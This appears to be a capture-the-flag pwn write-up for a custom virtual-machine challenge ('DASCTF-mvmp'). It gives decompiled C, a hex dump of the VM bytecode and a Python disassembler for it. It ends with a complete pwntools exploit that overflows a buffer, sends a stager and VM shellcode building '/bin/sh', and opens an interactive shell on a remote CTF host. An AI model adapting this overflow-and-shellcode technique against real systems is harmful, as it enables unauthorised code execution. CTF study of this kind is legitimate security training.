ldz / DASCTF-mvmp

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  int fd; // [rsp+Ch] [rbp-14h]
  char *buf; // [rsp+10h] [rbp-10h]
  vm *s; // [rsp+18h] [rbp-8h]

  init();
  s = (vm *)malloc(0x30uLL);
  memset(s, 0, sizeof(vm));
  buf = (char *)mmap(0LL, 0x30000uLL, 7, 34, -1, 0LL);
  s->buffer_ptr = (unsigned __int64)buf;
  fd = open("./vmcode", 0);
  read(fd, &s->ip, 4uLL);
  while ( (unsigned int)read(fd, buf, 0x400uLL) )
    buf += 0x400;
  s->opcode_len = 0x30000;
  vmrun(s);
}

ldz@ldz-OMEN-by-HP-Gaming-Laptop-16-wf0xxx:~/Downloads/mvmp/tempdir/PWN附件/change$ xxd vmcode
00000000: 0000 0000 9000 0008 8d00 4700 5768 6174  ..........G.What
00000010: 2b00 0400 0000 4700 2773 2079 2b00 0400  +.....G.'s y+...
00000020: 0000 4700 6f75 7220 2b00 0400 0000 4700  ..G.our +.....G.
00000030: 6e61 6d65 2b00 0400 0000 4300 3f0a 0000  name+.....C.?...
00000040: 8d00 7d00 c000 0166 0e02 008d 010f 0001  ..}....f........
00000050: 0000 007d 027d 017d 00c0 0000 8bc0 0000  ...}.}.}........
00000060: 0cc0 0000 4c94 0000 08ec 0000 0090 0000  ....L...........
00000070: 068d 000f 0100 0000 000f 0218 0000 007d  ...............}
00000080: 027d 017d 00c0 0000 888d 010f 0000 0000  .}.}............
00000090: 000f 0250 0000 007d 027d 017d 00c0 0000  ...P...}.}.}....
000000a0: 1e8d 017d 01c0 0000 a194 0000 06ec 0000  ...}............
000000b0: 000f 0000 0000 00cc 0000 3cec 0000 007d  ..........<....}
000000c0: 058d 052b 0508 0000 003a 0005 2b05 0400  ...+.....:..+...
000000d0: 0000 3a01 052b 0504 0000 003a 0205 d400  ..:..+.....:....
000000e0: 0000 8105 ec00 0003 7d05 8d05 2b05 0800  ........}...+...
000000f0: 0000 3a00 052b 0504 0000 003a 0105 2b05  ..:..+.....:..+.
00000100: 0400 0000 3a02 05d4 0000 0181 05ec 0000  ....:...........
00000110: 037d 058d 052b 0508 0000 003a 0005 2b05  .}...+.....:..+.
00000120: 0400 0000 3a01 052b 0504 0000 003a 0205  ....:..+.....:..
00000130: 0f03 0000 0000 3e00 0185 0085 0306 0302  ......>.........
00000140: b080 000e 8105 ec00 0003 7d05 8d05 2b05  ..........}...+.
00000150: 0800 0000 9000 0003 8d01 0e00 0147 0068  .............G.h
00000160: 656c 6c2b 0004 0000 0043 006f 2000 000f  ell+.....C.o ...
00000170: 0001 0000 000f 0206 0000 007d 027d 017d  ...........}.}.}
00000180: 00c0 8000 9d3a 0105 7d01 c000 0020 0e02  .....:..}.... ..
00000190: 003a 0105 0f00 0100 0000 7d02 7d01 7d00  .:........}.}.}.
000001a0: c080 00bc 9400 0003 8105 ec00 0001 7d05  ..............}.
000001b0: 8d05 2b05 0800 0000 3a01 050e 0001 3202  ..+.....:.....2.
000001c0: 0007 0200 0000 00a8 0000 0685 00a4 8000  ................
000001d0: 132e 0001 8105 ec00 0001                 ..........

void __fastcall __noreturn vmrun(vm *a1)
{
  int v1; // eax
  _BYTE *s; // [rsp+18h] [rbp-8h]

  s = malloc(0xCuLL);
  memset(s, 0, 8uLL);
  do
  {
    if ( (unsigned int)vm_fetch_and_decode((__int64 *)a1, s) == -1 )
      break;
    v1 = *s & 3;
    if ( v1 == 3 )
    {
      reg_imm(a1, (__int64)s);
    }
    else if ( (*s & 3u) <= 3 )
    {
      if ( v1 == 2 )
      {
        reg_reg(a1, (__int64)s);
      }
      else if ( (*s & 3) != 0 )
      {
        reg(a1, s);
      }
      else
      {
        vuln(a1, s);
      }
    }
    memset(s, 0, 0xCuLL);
    if ( a1->opcode_len > 0x30000 )
      break;
  }
  while ( a1->ip <= 0x30000 );
  puts("Segment error");
  _exit(0);
}

import struct
import os
import sys

VM_FILENAME = "vmcode" 

# Type 3: [Op] [Reg] [Imm4]
# handler: reg_imm
OP_IMM = {
    1: "CMP",   # Compare Reg, Imm
    2: "CMPS",  # Compare Signed
    3: "MOV",   # Reg = Imm
    4: "XOR",
    5: "OR",
    6: "AND",
    7: "SHL",
    8: "SHR",
    10: "ADD",
    11: "SUB",
    12: "LDB",  # Load Byte (Reg = *[Imm]) - Note: Logic in C implies Base+Offset usually, checking logic...
                # Case 12: *(&reg) = *(buf + imm). Direct memory load from absolute offset.
    13: "LDW",  # Load Word
    14: "LDD",  # Load Dword
    15: "STB",  # Store Byte ( *[Reg] = Imm_byte )
    16: "STW",  # Store Word
    17: "STD",  # Store Dword (*[Reg] = Imm_ptr) - Note: Writes pointer to stack/mem
}

# Type 2: [Op] [Reg1] [Reg2]
# handler: reg_reg
OP_REG_REG = {
    1: "CMP",
    2: "CMPS",
    3: "MOV",   # R1 = R2
    4: "XOR",
    5: "OR",
    6: "AND",
    7: "SHL",
    8: "SHR",
    9: "XCHG",  # Exchange
    10: "ADD",
    11: "SUB",
    12: "LDB",  # R1 = *[Base + R2]
    13: "LDW",
    14: "LDD",
    15: "STB",  # *[Base + R2] = R1_byte
    16: "STW",
    17: "STD",
}

# Type 1: [Op] [Reg]
# handler: reg
OP_REG = {
    31: "PUSH", # PUSH Reg
    32: "POP",  # POP Reg
    33: "INC",
    34: "DEC",
    35: "MOV_SP", # Reg = SP
    41: "JMP",    # Indirect Jump (IP = Reg)
    42: "JE",     # Jump if Equal (Reg contain addr? No, logic reuse) - Wait, code check needed
    43: "JG",     # Jump Greater
    44: "JL",     # Jump Less
    45: "JGE",    # Jump Greater Equal
    46: "JLE",    # Jump Less Equal
    47: "JNE",    # Jump Not Equal
    48: "CALL",   # Call Reg
}

# Type 0: [Op] [Imm24 (Big Endian)]
# handler: vuln
OP_SYS = {
    36: "SUB_SP", # SP -= Imm*4
    37: "ADD_SP", # SP += Imm*4
    41: "JMP",    # Relative Jump
    42: "JE",     # Relative JE
    43: "JG",     # Relative JG
    44: "JL",     # Relative JL
    45: "JGE",    # Relative JGE
    46: "JLE",    # Relative JLE
    47: "JNE",    # Relative JNE
    48: "CALL",   # Relative Call
    51: "SYS_OPEN",  # Speculation based on common syscall args
    52: "SYS_READ",
    53: "SYS_WRITE",
    54: "SYSCALL_4",
    55: "SYSCALL_5",
    56: "SYSCALL_6",
    57: "SYSCALL_7",
    58: "SYSCALL_8",
    59: "RET",
}

def decode_vm(code_buffer, entry_point):
    pc = entry_point
    max_len = len(code_buffer)
    
    print(f"[*] Analyzing VM Code. Size: {max_len:#x}, Entry Point: {pc:#x}")
    print("-" * 60)
    print(f"{'Address':<10} | {'Bytes':<20} | {'Disassembly'}")
    print("-" * 60)

    # Simple Linear Sweep Disassembly
    # Note: If there is data mixed with code, this might desync. 
    # But for a basic VM, linear usually works until a RET/JMP to backwards.
    
    while pc < max_len:
        start_pc = pc
        if pc >= len(code_buffer):
            break
            
        raw_op = code_buffer[pc]
        op_type = raw_op & 3
        opcode = raw_op >> 2
        
        instr_bytes = []
        mnem = ""
        operands = ""

        try:
            if op_type == 3: # REG_IMM
                # Fetch: 1 byte reg, 4 bytes imm (little endian)
                reg = code_buffer[pc+1]
                imm_bytes = code_buffer[pc+2 : pc+6]
                imm = struct.unpack("<I", imm_bytes)[0]
                
                pc += 6
                instr_bytes = code_buffer[start_pc:pc]
                
                mnem = OP_IMM.get(opcode, f"UNK_IMM_{opcode}")
                operands = f"R{reg}, 0x{imm:x}"
                
            elif op_type == 2: # REG_REG
                # Fetch: 1 byte reg1, 1 byte reg2
                r1 = code_buffer[pc+1]
                r2 = code_buffer[pc+2]
                
                pc += 3
                instr_bytes = code_buffer[start_pc:pc]
                
                mnem = OP_REG_REG.get(opcode, f"UNK_RR_{opcode}")
                operands = f"R{r1}, R{r2}"
                
            elif op_type == 1: # REG (Single)
                # Fetch: 1 byte reg
                r1 = code_buffer[pc+1]
                
                pc += 2
                instr_bytes = code_buffer[start_pc:pc]
                
                mnem = OP_REG.get(opcode, f"UNK_R_{opcode}")
                operands = f"R{r1}"
                
            elif op_type == 0: # VULN (Syscall/Jumps/Imm24)
                # Fetch: 3 bytes imm (Big Endian logic in C: operand << 8 | byte)
                b1 = code_buffer[pc+1]
                b2 = code_buffer[pc+2]
                b3 = code_buffer[pc+3]
                imm = (b1 << 16) | (b2 << 8) | b3
                
                # Handle relative logic for Jumps (0x29 -> 0x30 in C switch, which is 41-48 opcode)
                # C logic: if (operand & 0x800000) target = ip - (op & 0x7FFFFF) else ip + ...
                is_rel_jump = (41 <= opcode <= 48)
                target_str = f"0x{imm:x}"
                
                if is_rel_jump:
                    offset = imm & 0x7FFFFF
                    if imm & 0x800000:
                        target = start_pc - offset # roughly current IP check
                    else:
                        target = start_pc + offset
                    target_str = f"LOC_{target:05x} (Rel)"

                pc += 4
                instr_bytes = code_buffer[start_pc:pc]
                
                mnem = OP_SYS.get(opcode, f"UNK_SYS_{opcode}")
                operands = target_str

            # Print formatted
            byte_str = " ".join([f"{b:02x}" for b in instr_bytes])
            print(f"{start_pc:05x}      | {byte_str:<20} | {mnem:<8} {operands}")

        except IndexError:
            print(f"{start_pc:05x}      | EOF mid-instruction")
            break

def main():
    if not os.path.exists(VM_FILENAME):
        print(f"Error: File '{VM_FILENAME}' not found.")
        return

    with open(VM_FILENAME, "rb") as f:
        # main() in C: read(fd, &s->ip, 4uLL);
        entry_data = f.read(4)
        if len(entry_data) < 4:
            print("Error: File too small.")
            return
        
        entry_point = struct.unpack("<I", entry_data)[0]
        
        # main() in C: while ( read(fd, buf, ...) )
        code_data = f.read()
        
    # The IP in C is relative to the buffer start.
    # The file contains [IP: 4bytes] [CODE: N bytes]
    # We pass the code buffer and the IP read from header.
    decode_vm(code_data, entry_point)

if __name__ == "__main__":
    main()

	memset(s, 0, 0xCuLL);
    if ( a1->opcode_len > 0x30000 )
      break;

from pwn import *
import struct

context.log_level = 'debug'
context.arch = 'amd64'

def gen_int_bytes(val):
    return p32(val)

def encode_mov(reg, val):
    # Opcode 3 (MOV Imm): 6 bytes
    return b'\x0f' + p8(reg) + gen_int_bytes(val)

def encode_std(reg, val):
    # Opcode 17 (STD): 6 bytes
    return b'\x47' + p8(reg) + gen_int_bytes(val)

def encode_add(reg, val):
    # Opcode 10 (ADD): 6 bytes
    return b'\x2b' + p8(reg) + gen_int_bytes(val)

def encode_sys_ptr(syscall_num, opcode):
    # Syscall Wrapper: 4 bytes
    b = p32(syscall_num, endian='big')
    # Opcode << 2 | 0 (Type 0)
    op_byte = (opcode << 2)
    print((op_byte>>2)-36)
    return p8(op_byte) + b[1:]

def encode_jmp_reg(reg):
    return b'\xa5' + p8(reg)


stager = b""

stager += encode_mov(0, 0)

stager += encode_mov(1, 0)

stager += encode_mov(2, 0x100)

# Syscall Read (Opcode 53)
stager += encode_sys_ptr(0, 53)

# Jump to R1 (0)
stager += encode_jmp_reg(1)

log.info(f"Stager Length: {len(stager)} bytes (Max 32)")

real_sc = b""

real_sc += encode_mov(0, 0)
real_sc += encode_mov(1, 0)
real_sc += encode_mov(2, 0)

real_sc += encode_std(0, 0x6e69622f)
real_sc += encode_add(0, 4)
real_sc += encode_std(0, 0x0068732f)

real_sc += encode_mov(0, 0)
real_sc += encode_sys_ptr(59, 52) 


p = remote('node5.buuoj.cn', 25189)

target_addr = 0x2FFE0
padding = b'A' * 24
payload_1 = padding + p32(target_addr) + stager
print(hex(len(stager)+0x2ffe0))
p.recvuntil(b"name?\n")
#gdb.attach(p,"b *$rebase(0x149d)")
p.send(payload_1)
log.success("Stage 1 (Stager) Sent!")

import time
p.recvuntil("hello")
time.sleep(1)
p.send(real_sc+b'\x00'*0x30)
log.success("Stage 2 (Shellcode) Sent!")

p.interactive()